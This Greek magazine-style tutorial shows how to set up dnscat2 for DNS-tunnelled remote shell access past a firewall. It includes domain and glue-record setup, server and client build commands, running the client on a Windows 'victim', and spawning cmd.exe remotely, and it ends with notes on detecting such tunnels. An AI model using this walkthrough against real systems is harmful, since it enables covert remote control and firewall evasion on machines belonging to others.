Το προφίλ μας στο Google Plus
0

Δικτυακή Κερκόπορτα

Μια μικρή και ταπεινή πορτούλα μπορεί να οδηγήσει στην άλωση ενός συστήματος που μοιάζει απόρθητο. Δεν είναι δύσκολο να την σφραγίσει κανείς, αλλά είναι πολύ πιο εύκολο να την ξεχάσει ανοιχτή. Μπορείτε να μαντέψετε σε ποια πόρτα αναφερόμαστε; Κατά πάσα πιθανότητα όχι — κι αυτός είναι ο λόγος που την καθιστά τόσο επικίνδυνη.

Λίγες δραστηριότητες προσφέρουν τόση χαρά και ικανοποίηση, όσο η ολοκλήρωση μιας επίθεσης. Αυτό δεν φανερώνει κάποια ροπή προς τον βανδαλισμό. Μιλάμε για επιθέσεις που πραγματοποιούνται σε δικά μας συστήματα και υπό ελεγχόμενες συνθήκες. Υπάρχουν πολλοί λόγοι για να χαρεί κανείς με την επιτυχία μιας τέτοιας επίθεσης, παρόλο που γίνεται σε ευνοϊκό περιβάλλον. Όταν γράφουμε κώδικα, όταν στήνουμε κάποια υπηρεσία ή όταν ολοκληρώνουμε κάποιο άλλο project, αξιοποιούμε την λίγο–πολύ κατακτημένη γνώση. Όταν όμως καταλύουμε την ασφάλεια ενός συστήματος, τότε αξιοποιούμε χαρακτηριστικά διαφόρων πρωτοκόλλων, υπηρεσιών και άλλων προγραμμάτων, με τρόπους που θα ήταν δύσκολο να φανταστεί κανείς. Κατά κάποιον τρόπο, ανακαλύπτουμε νέες λειτουργίες και νέους πρωτότυπους τρόπους για την αξιοποίηση του εξοπλισμού μας. Αυτή ακριβώς η εξερεύνηση στα όρια της γνώσης, αποτελεί την ουσία του χάκινγκ και είναι λογικό να μας συναρπάζει. Σε τελική ανάλυση σκεφτείτε το εξής: Η ευρηματικότητα που κρύβει ακόμα και η πιο απλή επίθεση, σίγουρα παρουσιάζει περισσότερο ενδιαφέρον απ’ ό,τι, π.χ., το στήσιμο ενός domain controller σ’ ένα τοπικό δίκτυο Windows.

Η πρόκληση
Αυτή τη φορά σκεφτόμαστε να το πάμε λίγο παραπέρα. Δεν θα καταπιαστούμε με το αρχικό στάδιο μιας επίθεσης. Θα υποθέσουμε ότι έχουμε βρει ήδη έναν τρόπο για να εκτελέσουμε κώδικα σε κάποιο άτυχο σύστημα. Ο τρόπος αυτός καθ’ αυτός δεν έχει καμία σημασία. Θα μπορούσε να είναι μια επίθεση Man-in-The-Middle ή το exploitation κάποιας δικτυακής υπηρεσίας, αλλά θα μπορούσε να είναι κι ένα μολυσμένο USB stick, που εξασφαλίσαμε ότι αργά ή γρήγορα θα συνδεθεί στο μηχάνημα. Θα προχωρήσουμε λοιπόν στο τελικό στάδιο της επίθεσης: Πώς μπορούμε να αποκτήσουμε τον έλεγχο του ξένου συστήματος; Όταν μιλάμε για έλεγχο, εννοούμε την απομακρυσμένη πρόσβαση στη γραμμή εντολών και κατ’ επέκταση τη δυνατότητα να εκτελούμε προγράμματα, να σκαλίζουμε τους καταλόγους του συστήματος και να ανεβοκατεβάζουμε αρχεία. Πριν αρχίσετε να αραδιάζετε τα ονόματα διαδεδομένων backdoor, επιτρέψτε μας να θέσουμε μερικούς περιορισμούς. Κατ’ αρχάς, θα θεωρήσουμε ότι το σύστημα στο οποίο έχουμε επιτεθεί προφυλάσσεται από ένα αυστηρό firewall. Το εν λόγω firewall προστατεύει όλο το τοπικό δίκτυο και μπλοκάρει πολλά –δημοφιλή και όχι– δικτυακά ports. Επίσης δεν αντιμετωπίζει τις εξερχόμενες συνδέσεις με αφέλεια, θεωρώντας ότι είναι εξ’ ορισμού επιθυμητές. Τέλος, για να αποκλείσουμε τις κάπως αστείες λύσεις του στιλ “κλείσε πρώτα το firewall και μετά τρέξε το τάδε backdoor”, θα κάνουμε μία ακόμα παραδοχή: Το αρχικό στάδιο της επίθεσης δεν παρέχει δικαιώματα administrator / root. Κι επειδή παραλίγο να το ξεχάσουμε, θα θέλαμε μια λύση που να εφαρμόζεται τόσο στα Windows, όσο και στο Linux.

Ζήτημα πιθανοτήτων
Ένα πρόβλημα που έμοιαζε αρχικά απλό, φαντάζει πλέον αδύνατο να λυθεί. Η αλήθεια είναι ότι το παρακάναμε, αλλά όπως θα διαπιστώσετε σύντομα οι περιορισμοί που θέσαμε φωτογραφίζουν μια απλή λύση. Μη νομίζετε τώρα ότι παριστάνουμε τους έξυπνους, γιατί ούτε κι εμείς θα την σκεφτόμασταν. Ωστόσο, πρόκειται για μια λύση που στηρίζεται σε μια γνωστή τεχνική.

Συνοψίζοντας το πρόβλημα, θα λέγαμε ότι αναζητάμε μια μέθοδο αμφίδρομης επικοινωνίας με τον στόχο, η οποία προσφέρει πρόσβαση στη γραμμή εντολών του ξένου μηχανήματος ακόμη κι όταν δεν βρισκόμαστε στο ίδιο τοπικό δίκτυο μ’ αυτό. Η κύρια δυσκολία που αντιμετωπίζουμε σχετίζεται με την ύπαρξη αυτού του “αυστηρού firewall”, για το οποίο γνωρίζουμε ελάχιστα πλην του ότι είναι… αυστηρό ;) Τι είδους σύνδεση πρέπει να αποπειραθούμε; Μια καλή ιδέα θα ήταν να στραφούμε στις δικτυακές υπηρεσίες και στα αντίστοιχα πρωτόκολλα, που αξιοποιούνται ήδη από το ξένο σύστημα και άλλα του ιδίου δικτύου. Φυσικά, το firewall ενδέχεται να μην επιτρέπει όλες τις αντίστοιχες συνδέσεις. Θα μπορούσε, λόγου χάρη, να ενσωματώνει ένα whitelist και να επιτρέπει τη σύνδεση από συγκεκριμένες διευθύνσεις και μόνο. Σε κάθε περίπτωση, η σκέψη του να στραφούμε στα ήδη χρησιμοποιούμενα δικτυακά πρωτόκολλα είναι απόλυτα λογική. Οι παραπάνω συλλογισμοί θα μπορούσαν να γεμίσουν ολόκληρες σελίδες, αλλά δεν σκοπεύουμε να σας βασανίσουμε. Με τα δεδομένα που έχουμε, μόνο το πρωτόκολλο του DNS θα μπορούσε να προσφέρει κάποια λύση. Μήπως αναρωτιέστε γιατί το επιλέξαμε; Πρόκειται για ένα πρωτόκολλο που θυμόμαστε σπάνια όταν σχεδιάζουμε μια επίθεση και, ακόμα πιο σπάνια, όταν σχεδιάζουμε την άμυνα ενός συστήματος. Με άλλα λόγια, η αξιοποίηση του DNS αποτελεί μια ύπουλη κίνηση, που έχει αυξημένες πιθανότητες επιτυχίας. Αυτό το επιχείρημα, όμως, θα έπειθε μόνο έναν τζογαδόρο και δεν απαντάει καθόλου στο πώς και στο γιατί.

Το πιο αθώο τούνελ
Είμαστε σίγουροι ότι έχετε υπόψη σας την έννοια του tunneling. Επιγραμματικά, θα λέγαμε ότι συνιστά τη χρήση ενός πρωτοκόλλου, για τη μεταφορά των δεδομένων ενός άλλου πρωτοκόλλου. Με αυτόν τον τρόπο καταφέρνουμε να κρύψουμε μια σύνδεση μέσα σε μια άλλη, φαινομενικά άσχετη κι αθώα. Η συγκεκριμένη τεχνική μπορεί να εφαρμοστεί και στην περίπτωση του DNS, οπότε κάνουμε λόγο για τη συγκρότηση ενός DNS tunnel. Η κατασκευή τέτοιων τούνελ δεν αποτελεί δική μας ιδέα. Θα γνωρίζετε ίσως τα δίκτυα WiFi, που απαιτούν κάποιο είδος συνδρομής για να προσφέρουν πρόσβαση στο Internet. Τα εργαλεία που παρακάμπτουν αυτή την προστασία και προσφέρουν ελεύθερη πρόσβαση χωρίς συνδρομή, στηρίζονται στη δημιουργία τέτοιων τούνελ.

Στο σενάριο που εξετάζουμε, θέλουμε το κατειλημμένο μηχάνημα να επικοινωνεί αμφίδρομα με το δικό μας, προσπερνώντας το firewall. Επιπρόσθετα, θέλουμε να ανεβάζει και να κατεβάζει αρχεία, να εκτελεί εντολές, να αλληλεπιδρά με το σύστημα αρχείων κ.ά. Όλα αυτά προϋποθέτουν τη χρήση ενός προσαρμοσμένου (custom) πρωτοκόλλου, το οποίο θα επιτρέπει τον απομακρυσμένο έλεγχο του συστήματος. Βέβαια, για να εξασφαλίσουμε ότι τα πακέτα αυτού του πρωτοκόλλου θα διέρχονται από το firewall ανενόχλητα, πρέπει να τα διακινούμε μέσα από κάποιο τούνελ. Αυτό το τούνελ, με τη σειρά του, πρέπει να στηρίζεται σ’ ένα πρωτόκολλο που χρησιμοποιείται συχνά και δεν κινεί υποψίες, ώστε οι αντίστοιχες συνδέσεις να διέρχονται ανενόχλητες από το firewall. Μήπως τώρα μοιάζει λογικότερη η επιλογή μας; Ακόμα και το πιο αυστηρό firewall του κόσμου, είναι σίγουρο ότι επιτρέπει τις συνδέσεις DNS με τουλάχιστον ένα name sever. Στην αντίθετη περίπτωση, η σύνδεση με το Internet θα καταντούσε πρακτικά άχρηστη.

Αρχή λειτουργίας
Ένα πρόγραμμα που επιτρέπει τις επιθέσεις που έχουμε κατά νου μέσω DNS tunneling, είναι το dnscat2. Πρόκειται για ένα εντυπωσιακό εργαλείο που είμαστε σίγουροι ότι θα εκτιμήσετε κι εσείς.

Για να κατανοήσει κανείς το μηχανισμό του dnscat2, πρέπει να έχει υπόψη του ένα βασικό χαρακτηριστικό της λειτουργίας των name servers. Κάθε φορά που λαμβάνουν ένα ερώτημα κι εφόσον δεν γνωρίζουν την απάντηση, προωθούν το σχετικό αίτημα σε κάποιον άλλο. Το ίδιο μπορεί να κάνει κι ο επόμενος name server και πάει λέγοντας (αναδρομική λειτουργία). Το πρώτο μηχάνημα σε μια τέτοια αλυσίδα δεν είναι σίγουρο ότι θα πάρει μια τελική απάντηση. Είναι πιθανό να λάβει κι ένα μήνυμα του τύπου “αν θες να μάθεις γι’ αυτό το domain, απευθύνσου στον τάδε name server”. Σε αυτή την περίπτωση το ερώτημα θα προωθηθεί ξανά, προς μία νέα κατεύθυνση (διαδοχική λειτουργία). Τελικά, κάθε αίτημα DNS διέρχεται από αρκετούς name servers, μέχρι να βρεθεί σε κάποιον που γνωρίζει την απάντηση. Στη χειρότερη περίπτωση, αυτή η διαδρομή τερματίζεται στον authoritative name server του εκάστοτε domain. Παρεμπιπτόντως, ένας name server χαρακτηρίζεται ως authoritative όταν γνωρίζει όλες τις αντιστοιχίες μεταξύ ονομάτων και διευθύνσεων για τα μηχανήματα ενός domain. Αυτή η περιγραφή μπορεί να μη βοηθάει ιδιαίτερα, αλλά αργότερα θα διαπιστώσετε ότι πρόκειται για κάτι πραγματικά απλό.

Ας επιστρέψουμε τώρα στο θέμα μας. Το dnscat2 έχει δύο ανεξάρτητα τμήματα: Έναν client και έναν server. Ο client τοποθετείται στο μηχάνημα-στόχο, πίσω από το αυστηρό firewall, κι έχει την ευθύνη να δημιουργήσει το τούνελ, σχηματίζοντας τα κατάλληλα ερωτήματα DNS. Τα εν λόγω ερωτήματα αφορούν σε ανύπαρκτα (!) μηχανήματα, τα οποία ανήκουν σ’ ένα domain που έχουμε αγοράσει κι ελέγχουμε εμείς. Καθώς τα μηχανήματα δεν υπάρχουν, αποκλείεται να βρεθεί κάποιος ενδιάμεσος name server που να γνωρίζει τις αντίστοιχες διευθύνσεις IP. Έτσι, αργά ή γρήγορα, τα διάφορα ερωτήματα καταλήγουν στον authoritative name server του domain μας. Μόνο που σαν διαχειριστές του domain, μπορούμε να καθορίσουμε εμείς το μηχάνημα που θα έχει αυτό το ρόλο. Ε, λοιπόν, σ’ αυτό ακριβώς το σύστημα τοποθετείται ο server του dnscat2. Με αυτή τη διευθέτηση ο client και ο server καταφέρνουν να επικοινωνούν με αιτήματα κι απαντήσεις του πρωτοκόλλου DNS, κάτω από τη μύτη του firewall.

Ιδιωτικός name server
Όπως είπαμε ήδη, για να συγκροτήσουμε το DNS tunnel θα χρειαστούμε έναν authoritative name server. Αυτό προϋποθέτει τη μίσθωση ενός domain name, από κάποιον registrar που επιτρέπει στους χρήστες να δηλώνουν τα λεγόμενα glue records. Τώρα όμως ενδέχεται να δημιουργήσαμε νέες απορίες.

Τις περισσότερες φορές, όταν μισθώνουμε ένα domain επιθυμούμε να παραπέμπει σε κάποιο VPS, στο οποίο έχουμε στήσει μια ιστοσελίδα. Επομένως, το μόνο που μας ενδιαφέρει είναι η αντιστοίχιση του domain με τη διεύθυνση IP του συγκεκριμένου VPS. Για το σκοπό αυτό, μεταβαίνουμε στο web interface του registrar κι επιλέγουμε τους name servers που προσφέρει ο VPS provider. Εννοείται ότι έχουμε κάνει και κάποιες απαραίτητες ρυθμίσεις στο web control panel του VPS provider, αλλά όλες αυτές οι λεπτομέρειες δεν μας ενδιαφέρουν τώρα. Όσοι έχετε πραγματοποιήσει την παραπάνω διαδικασία, θα θυμόσαστε ότι όταν δηλώνουμε τους name servers στον registrar εισάγουμε τα ονόματά τους κι όχι διευθύνσεις IP. Αυτό δεν αποτελεί πρόβλημα, αφού όλοι οι “επίσημοι” name servers γνωρίζονται μεταξύ τους. Όταν όμως θέλουμε να χρησιμοποιήσουμε έναν δικό μας name server, τα πράγματα αλλάζουν. Σ’ αυτή την περίπτωση πρέπει να επιλέξουμε ένα όνομα για τον name server και να το αντιστοιχίσουμε στη διεύθυνσή του. Κάπως έτσι μπαίνουν στο παιχνίδι τα glue records. Πρόκειται για αντιστοιχίες μεταξύ ονομάτων και διευθύνσεων, που χρησιμοποιούνται αποκλειστικά για τη δήλωση name servers.

Για τις ανάγκες του άρθρου αγοράσαμε το pvar.xyz κι επιστρατεύσαμε ένα μικρό VPS, που χρησιμοποιούμε συνήθως για τα πειράματά μας (κι αυτή τη φορά έτρεχε τον dnscat2 server). Όπως αντιλαμβάνεστε, το συγκεκριμένο μηχάνημα θα έπαιζε το ρόλο του authoritative name server για το pvar.xyz κι αποφασίσαμε να του δώσουμε τα ονόματα ns1.pvar.xyz και ns2.pvar.xyz. Για να πετύχουμε την αντιστοίχιση των ονομάτων με τη διεύθυνση IP του name server, μεταβήκαμε στο web interface του registrar (στην περίπτωσή μας ήταν το gandi.net) και δημιουργήσαμε τα ακόλουθα glue records:

ns1.pvar.xyz --> διεύθυνση IP του VPS
ns2.pvar.xyz --> διεύθυνση IP του VPS

Με αυτόν τον τρόπο γνωστοποιήσαμε στον κόσμο ότι τα συγκεκριμένα δύο ονόματα παραπέμπουν στη διεύθυνση IP του DNS server μας. Μετά απ’ αυτό, πάλι από το web interface του registrar, δηλώσαμε ότι οι name servers που θα εξυπηρετούν το pvar.xyz είναι οι ns1.pvar.xyz και ns2.pvar.xyz. Αυτό ήταν όλο! Μπορεί να μην το γνώριζε ο ίδιος, αλλά ο μικρός μας VPS είχε μετατραπεί σε authoritative name server για το pvar.xyz.

Έχουμε συνδεθεί στο web interface του registrar και χρησιμοποιούμε το εργαλείο χειρισμού των λεγόμενων glue records. Ουσιαστικά, δηλώνουμε τα δύο ονόματα (ns1.pvar.xyz και ns2.pvar.xyz) με τα οποία θα είναι γνωστός ο name server μας. Αργότερα, χρησιμοποιώντας αυτά τα ονόματα, θα δηλώσουμε ότι το domain pvar.xyz θα εξυπηρετείται από τον συγκεκριμένο name server. Με λίγα λόγια, θα τον έχουμε μετατρέψει σε authoritative name server για το pvar.xyz.

Αναμονή για συνδέσεις
Για να παίξουμε με το dnscat2 πρέπει να εγκαταστήσουμε το κομμάτι του προγράμματος που λειτουργεί ως server, στον authoritative name server ενός domain. Αυτή η ενέργεια πρέπει να προηγηθεί της επίθεσης, αφού η λειτουργία του name server αποτελεί προϋπόθεση για τη δημιουργία των DNS tunnels. Εξάλλου, από το πρόγραμμα του server θα έχουμε και τον έλεγχο του ξένου μηχανήματος.

Το dnscat2 δεν διατίθεται με τη μορφή κάποιου πακέτου. Ο κώδικάς του φιλοξενείται σε ένα GIT repository και μπορούμε απλά να τον κατεβάσουμε. Το πρόγραμμα που αποτελεί τον server είναι γραμμένο σε Ruby και τρέχει σε οποιοδήποτε σύστημα έχει τον αντίστοιχο διερμηνέα. Αντίθετα, ο client είναι γραμμένος σε C και μπορεί να μεταγλωττιστεί για το Linux ή για τα Windows. Για τις δικές μας δοκιμές συνδεθήκαμε στον authoritative name server του pvar.xyz και ξεκινήσαμε εγκαθιστώντας το διερμηνέα της Ruby. Από κοντά εγκαταστήσαμε κι ένα πρόγραμμα διαχείρισης των repositories του GIT, όπως επίσης και το bundler (ένα εργαλείο διαχείρισης πακέτων της Ruby0):

$ sudo apt-get update
$ sudo apt-get install ruby-dev git
$ sudo gem install bundler

Αμέσως μετά δημιουργήσαμε ένα αντίγραφο του repository με τον κώδικα του dnscat2. Όταν ολοκληρώθηκε η αντιγραφή μεταβήκαμε στον κατάλογο που είχε προκύψει. Εκεί συναντήσαμε έναν υποκατάλογο με τον κώδικα του server κι έναν άλλον με τον κώδικα του client. Για τη λειτουργία του server απαιτείται η εγκατάσταση ορισμένων βιβλιοθηκών της Ruby. Ο δημιουργός του dnscat2 (Ron Bowes) έχει μεριμνήσει γι’ αυτό, συντάσσοντας ένα αρχείο (Gemfile) που περιγράφει τα dependencies. Έτσι, το μόνο που κάναμε ήταν να εισέλθουμε στον κατάλογο με τον κώδικα του server και να εκτελέσουμε το bundle:

$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server
$ bundle install

Σε αυτή τη φάση μπορούσαμε πλέον να ξεκινήσουμε το server του dnscat2. Σημειώστε ότι το πρόγραμμα αποτελεί μια υπηρεσία που δέχεται συνδέσεις στο port 53 (το προκαθορισμένο port του DNS). Ως εκ τούτου, η εκτέλεσή του προϋποθέτει δικαιώματα root. Τέλος, κατά την εκτέλεση του server του dnscat2, πρέπει να δηλώσουμε και το όνομα του domain που θα εξυπηρετεί. Μπορεί να αποτελεί ένα εργαλείο για τον έλεγχο ξένων συστημάτων, αλλά δεν παύει να λειτουργεί σαν ένας authoritative name server:

$ sudo ruby ./dnscat2.rb pvar.xyz

Πριν χρησιμοποιήσουμε τον client του dnscat2 σε κάποιο μηχάνημα, πρέπει να έχουμε ξεκινήσει τον αντίστοιχο server. Αυτό αποτελεί προϋπόθεση για τη δημιουργία των DNS tunnels, μέσω των οποίων θα έχουμε τον έλεγχο των ξένων μηχανημάτων. Σημειώστε ότι ο server του dnscat2 απαιτεί δικαιώματα root, αφού δέχεται συνδέσεις στο port 53.

Μέσα στο τούνελ
Εφόσον ο server του dnscat2 λειτουργεί κανονικά, δεν έχουμε παρά να εκτελέσουμε τον client στο κατειλημμένο σύστημα. Κάνοντας κάτι τέτοιο θα δημιουργηθεί αυτόματα ένα DNS tunnel, που θα καταφέρει να ξεγλιστρήσει ακόμα και από το πιο αυστηρό firewall. Μέσα από αυτό το τούνελ, το dnscat2 θα συγκροτήσει ένα session απομακρυσμένου ελέγχου. Αν σκοπεύετε να εκτελέσετε τον client σε κάποιο σύστημα με Linux, πρέπει να μεταγλωττίσετε τον κώδικα μόνοι σας. Στο δικό μας σύστημα, που λίγο νωρίτερα είχαμε μεταβεί στον κατάλογο με τον κώδικα του server, θα δίναμε κάτι τέτοιο:

$ cd ../client
$ sudo apt-get install gcc make
$ make

Το τελικό προϊόν της μεταγλώττισης αποθηκεύεται στον ίδιο κατάλογο και πρόκειται για το εκτελέσιμο ονόματι dnscat. Ακριβώς αυτό το πρόγραμμα αποτελεί το payload που θα πρέπει να τρέξουμε στο σύστημα–στόχο. Αν σκοπεύετε να δοκιμάσετε τον client σε κάποιο μηχάνημα με Windows, δεν χρειάζεται να πραγματοποιήσετε καμία μεταγλώττιση. Μπορείτε απλά να κατεβάσετε μια εκδοχή του client για Windows. Όπου κι αν κάνετε τις δοκιμές σας, κατά την εκτέλεση του client πρέπει να δώσετε ως παράμετρο το όνομα του domain. Εμείς βάλαμε στο ρόλο του θύματος ένα σύστημα με Windows. Έτσι, μεταφέραμε σε κάποιον κατάλογο τον client του dnscat2 και τον εκτελέσαμε ως εξής:

dnscat2-win32.exe pvar.xyz

Ο client δημιουργεί ένα DNS tunnel με τον server καθώς και ένα αρχικό session. Αργότερα μπορούμε να δημιουργήσουμε και πρόσθετα sessions, ώστε να εκτελούμε διάφορες εργασίες παράλληλα. Γι’ αυτό το λόγο, σε καθένα από τα sessions αντιστοιχίζεται ένας μοναδικός αναγνωριστικός αριθμός. Όταν ξεκινά ο client εμφανίζεται ένα μήνυμα που μας ενημερώνει για τον αριθμό του session που δημιουργήθηκε. Προφανώς, ένα παρόμοιο μήνυμα εμφανίζεται και στον server. Από αυτή τη στιγμή και μετά μπορούμε να συνδεθούμε στο ξένο σύστημα, να μεταφέρουμε οποιοδήποτε αρχείο και να εκτελέσουμε εντολές ή προγράμματα.

Στο ρόλο του κατειλημμένου μηχανήματος χρησιμοποιήσαμε ένα σύστημα με Windows. Το μόνο που χρειάστηκε να κάνουμε ήταν να εκτελέσουμε τον client του dnscat2, δίνοντας ως παράμετρο το domain μας.

Στην πορεία των δικών μας πειραμάτων, το αρχικό session που δημιουργήθηκε είχε τον αναγνωριστικό αριθμό 8832. Για να συνδεθούμε σε αυτό από τον server, χρησιμοποιήσαμε την εντολή session ως εξής:

session –i 8832

Μόλις συγκροτήθηκε το DNS tunnel, δημιουργήθηκε κι ένα session για τον έλεγχο του client από την κονσόλα του server. Για τη σύνδεση χρησιμοποιήσαμε την εντολή session, ενώ αμέσως μετά δώσαμε ένα help για να δούμε τις εντολές που προσφέρει το πρωτόκολλο του dnscat2.

Αμέσως μετά, για να δούμε μια λίστα με τις εντολές που υποστηρίζει το πρωτόκολλο του dnscat2, δώσαμε help. Φυσικά, εφόσον ο client έτρεχε σε σύστημα με Windows, δοκιμάσαμε να αλλάξουμε καταλόγους με την εντολή cd, να αντιγράψουμε αρχεία με το copy και να εκτελέσουμε προγράμματα, όπως το notepad.exe κ.ά. Περιττό να σας πούμε ότι τα πάντα εκτελούνταν κανονικά, σαν να βρισκόμασταν μπροστά στο μηχάνημα με τα Windows. Ξεχωριστό ενδιαφέρον παρουσίασε η εκτέλεση του cmd.exe, που είχε σαν συνέπεια τη δημιουργία ενός νέου session. Όταν συνδεθήκαμε σε αυτό μας περίμενε το τυπικό μήνυμα καλωσορίσματος που εμφανίζει η γραμμή εντολών των Windows, όπως επίσης και το ίδιο το prompt. Εν ολίγοις, εργαζόμασταν στον server αλλά η κονσόλα έμοιαζε να ανήκει στο σύστημα με τα Windows! Μπορείτε να μάθετε περισσότερα για τις εντολές και τον τρόπο χειρισμού του server του dnscat2 διαβάζοντας το αρχείο README.md, που συνοδεύει τον κώδικα του προγράμματος.

Εκτελώντας απομακρυσμένα το cmd.exe, δημιουργήθηκε αυτόματα ένα νέο session. Όταν συνδεθήκαμε σε αυτό η κονσόλα μας μεταμορφώθηκε: Έμοιαζε σαν να είχε αποσπαστεί από τον server και είχε προσαρτηθεί στο μηχάνημα-στόχο, με τα Windows!

Ήρθε το τέλος μας;
Αν παίξετε λίγο με το dnscat2, είναι σίγουρο ότι θα σας ενθουσιάσει. Η άνεση με την οποία ξεπερνά το εκάστοτε firewall είναι ασύλληπτη. Αυτό δεν σημαίνει ότι πρόκειται για ένα εργαλείο που μπορεί να σαρώσει όλα τα συστήματα ασφάλειας. Κάθε άλλο, το dnscat2 αποτελεί αυτό που ονομάζουμε “proof of concept”. Η ανάπτυξή του αποσκοπούσε μόνο στην επίδειξη μιας ιδέας: Τον απομακρυσμένο έλεγχο ενός συστήματος, μέσα από ένα DNS tunnel. Ο client του dnscat2 καταφέρνει να ξεγελάσει το firewall, αλλά δεν προσπαθεί να κρύψει την παρουσία του με κανέναν τρόπο. Ακριβώς γι’ αυτό θα ήταν αδύνατο (ή έστω δύσκολο) να χρησιμοποιηθεί σε μια αληθινή επίθεση, χωρίς να γίνει αμέσως αντιληπτός. Αυτό δεν σημαίνει ότι πρέπει να ξεχάσουμε την ύπαρξη των DNS tunnels και τους αντίστοιχους κινδύνους. Υπάρχουν αρκετά προγράμματα που χρησιμοποιούν αυτή την τεχνική και δεν αποκλείεται να εμφανιστούν κι άλλα.

Τα DNS tunnels μπορούν να ξεγελάσουν ένα firewall, αλλά όχι και ένα κατάλληλα ρυθμισμένο Intrusion Detection System. Τα τούνελ αυτού του είδους, βλέπετε, στηρίζονται σε πολυάριθμα DNS requests, που παρουσιάζουν συγκεκριμένα χαρακτηριστικά και είναι σχετικά εύκολο να εντοπιστούν. Για να κατανοήσετε καλύτερα τι εννοούμε, σκεφτείτε το εξής: Ένα σύστημα μπορεί να στέλνει αιτήματα σε ένα name server, αλλά ο δεύτερος μπορεί μόνο να απαντά. Με άλλα λόγια, ένας name server δεν μπορεί να στέλνει αιτήματα σε ένα απλό μηχάνημα. Παρ’ όλα αυτά, το πρωτόκολλο που υλοποιεί το dnscat2 είναι αμφίδρομο και ο server μοιάζει ικανός να μιλάει με τον client ανά πάσα στιγμή. Αναρωτιέστε πώς επιτυγχάνεται κάτι τέτοιο; Πολύ απλά, το πρωτόκολλο του dnscat2 είναι του τύπου polling. Αυτό σημαίνει ότι ο client στέλνει διαρκώς αιτήματα στον server, που μεταφέρουν ένα μήνυμα σαν το ακόλουθο:

Μήπως θες να μου πεις κάτι, αγαπητέ server; Αν ναι, απάντα σε αυτό το μήνυμα — τώρα που μπορείς!

Όπως αντιλαμβάνεστε, το ίδιο κόλπο επιστρατεύουν όλα τα προγράμματα που επιτυγχάνουν την αμφίδρομη επικοινωνία μέσα από ένα DNS tunnel. Η διαρκής αποστολή των αιτημάτων, όμως, παρουσιάζει μια κάποια συχνότητα (ενδεχομένως και κανονικότητα) που είναι εύκολα ανιχνεύσιμη. Ένα άλλο γνώριμα των αιτημάτων DNS που δημιουργούν αυτά τα προγράμματα, είναι το ασυνήθιστα μεγάλο hostname. Πολύ συχνά, εμφανίζονται να αναζητούν μηχανήματα που έχουν παραπάνω από εκατό χαρακτήρες στο όνομά τους.

Χρησιμοποιώντας το Wireshark, ρίξαμε μια ματιά στις συνδέσεις που δημιουργεί ο client του dnscat2. Οι λιγοστές αναφορές στο pvar.xyz προέρχονται από τη σύνδεση SSH που είχαμε κάνει εμείς κι όχι από το dnscat2. Υπό άλλες συνθήκες θα απουσίαζε κάθε αναφορά στο pvar.xyz. Τα αιτήματα DNS κατευθύνονται αποκλειστικά προς τον name server του τοπικού μας δικτύου (192.168.1.1) και ως εκ τούτου έμοιαζαν εντελώς αθώα. Μόνο η συχνότητά τους θα μπορούσε να κινήσει τις υποψίες ενός IDS.

Είμαστε σίγουροι ότι αν το ψάξετε και μόνοι σας, θα βρείτε αρκετές μεθόδους για τον εντοπισμό και το μπλοκάρισμα των DNS tunnel. Πάντως, ανεξάρτητα από το αν θα εμβαθύνετε περισσότερο ή όχι, η τεχνική που παρουσιάσαμε είναι έξυπνη, απλή και όμορφη! Μπορεί να μην την αξιοποιήσουμε ποτέ, αλλά η σκέψη μας θα έχει προχωρήσει.

Σημείωση: Το VPS που έτρεχε τον dnscat2 server για τις ανάγκες αυτού του άρθρου ήταν ένα μικρό droplet της Digital Ocean. Μπορείτε να φτιάξετε κι εσείς το δικό σας ξεκινώντας από αυτό το referral URL: http://bit.ly/digocean10off. Κερδίζετε έτσι αυτομάτως 10$ σε credit, γεγονός που σημαίνει ότι το μικρό droplet παραμένει δωρεάν για δύο μήνες.

Leave a Reply

You must be logged in to post a comment.

Σύνδεση

Αρχείο δημοσιεύσεων